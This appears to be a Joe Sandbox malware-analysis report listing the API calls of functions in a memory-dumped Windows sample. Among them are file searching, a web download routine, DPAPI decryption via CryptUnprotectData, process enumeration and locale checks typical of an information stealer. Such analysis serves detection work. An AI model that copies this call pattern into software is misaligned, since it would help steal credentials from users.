Opcode ID: e3e7a00d507c5a686b07f891d32b492613cb94bc3e70352f403bc48025ba8a20
Instruction ID: 16b9519e73a2a048c1aa4c2f75882a05a68b4b793ed3d445f0fb30e7c05d6763
Opcode Fuzzy Hash: e3e7a00d507c5a686b07f891d32b492613cb94bc3e70352f403bc48025ba8a20
Instruction Fuzzy Hash: 83123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c6eba386c8d7739a1fa8b96ae4cee9d924a5201b05d2867343646b982982c94b
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: c6eba386c8d7739a1fa8b96ae4cee9d924a5201b05d2867343646b982982c94b
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: f444c6f7ddd9144f10c727580b8ae5c860da4ae62cedfb23b3109a919a7fad71
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: f444c6f7ddd9144f10c727580b8ae5c860da4ae62cedfb23b3109a919a7fad71
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 0040E270 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E
\*.*, xrefs: 0040E28D

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$\*.*
API String ID: 433455689-1178718010
Opcode ID: 2c73111a52c0aa8f5a93a007cb1592271aff26c14f0af4420613aba39660b1dd
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 2c73111a52c0aa8f5a93a007cb1592271aff26c14f0af4420613aba39660b1dd
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 6e5906619e98d4ad47cd61a06163630aa8c8f8e5491a3d82f811181143fa04bc
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 6e5906619e98d4ad47cd61a06163630aa8c8f8e5491a3d82f811181143fa04bc
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02609570,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02609570,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02609570,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,025EB120), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,02609738), ref: 0040796B
lstrcat.KERNEL32(?,02609768), ref: 0040797F
lstrcat.KERNEL32(?,02609708), ref: 00407992
lstrcat.KERNEL32(?,02609828), ref: 004079A6
lstrcat.KERNEL32(?,025E0EC8), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,02609738), ref: 00407A09
lstrcat.KERNEL32(?,02609768), ref: 00407A1D
lstrcat.KERNEL32(?,02609708), ref: 00407A31
lstrcat.KERNEL32(?,02609828), ref: 00407A44
lstrcat.KERNEL32(?,02606DE8), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,02609738), ref: 00407AA8
lstrcat.KERNEL32(?,02609768), ref: 00407ABB
lstrcat.KERNEL32(?,02609708), ref: 00407ACF
lstrcat.KERNEL32(?,02609828), ref: 00407AE3
lstrcat.KERNEL32(?,02606E50), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,02609738), ref: 00407B46
lstrcat.KERNEL32(?,02609768), ref: 00407B5A
lstrcat.KERNEL32(?,02609708), ref: 00407B6D
lstrcat.KERNEL32(?,02609828), ref: 00407B81
lstrcat.KERNEL32(?,02606EB8), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,02609738), ref: 00407BE4
lstrcat.KERNEL32(?,02609768), ref: 00407BF8
lstrcat.KERNEL32(?,02609708), ref: 00407C0C
lstrcat.KERNEL32(?,02609828), ref: 00407C1F
lstrcat.KERNEL32(?,02606F20), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,02609738), ref: 00407C83
lstrcat.KERNEL32(?,02609768), ref: 00407C96
lstrcat.KERNEL32(?,02609708), ref: 00407CAA
lstrcat.KERNEL32(?,02609828), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(353F9020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(353F9020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(353F9020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(353F9020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(353F9020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(353F9020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(353F9020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,02606CF0), ref: 00407E4B
lstrcat.KERNEL32(?,02609FC0), ref: 00407E5E
lstrlenA.KERNEL32(353F9020), ref: 00407E6B
lstrlenA.KERNEL32(353F9020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
